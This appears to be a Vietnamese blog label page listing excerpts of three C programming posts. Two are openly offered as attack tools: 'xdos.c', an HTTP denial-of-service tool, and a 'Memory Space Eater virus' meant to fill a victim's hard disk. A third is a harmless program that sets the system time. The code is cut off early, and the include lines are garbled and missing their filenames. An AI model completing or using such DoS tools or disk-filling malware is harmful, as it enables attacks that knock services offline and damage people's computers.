Hiển thị các bài đăng có nhãn C Programming. Hiển thị tất cả bài đăng
Hiển thị các bài đăng có nhãn C Programming. Hiển thị tất cả bài đăng
xdos.c: A Simple HTTP DoS Tool! ~ C programming Code

xdos.c: A Simple HTTP DoS Tool! ~ C programming Code


A denial-of-service attack (DoS attack) or distributed denial-of-service attack (DDoS attack) is an attempt to make a computer resource unavailable to its intended users.


#define WIN32_LEAN_AND_MEAN
#include
#include
#include

unsigned long thread = 0;

static int connect_tv(struct sockaddr_in *addr, int timeout);
static DWORD WINAPI dosmain(LPVOID p)
C program Memory Space Eater virus

C program Memory Space Eater virus

Hi friends this is BreakTheSec. I am going to give you C program to eat the memory in Hard drive. This virus is able to eat the memory space 1 GB per minute. So Becareful with this virus.



#include
#include
#include
#include
FILE *a,*t,*b;
int r,status,vir_count;
double i;
char ch[]="CREATING A HUGE FILE FOR OCCUPYING HARDDISK SPACE",choice;

void eatspace(
C Program to Set/Change the Current System Time

C Program to Set/Change the Current System Time

#include
#include
int main(void)
{
struct time t;
gettime(&t);
printf(“The current hour is: %d\n”, t.ti_hour);
printf(“The current min is: %d\n”, t.ti_min);
printf(“The current second is: %d\n”, t.ti_sec);

/* Add one to the hour,minute & sec struct element and then call settime */

t.ti_hour++;
t.ti_min++;
t.ti_sec++;
settime(&t);
printf(“The current hour is: %d\n”, t.ti_hour);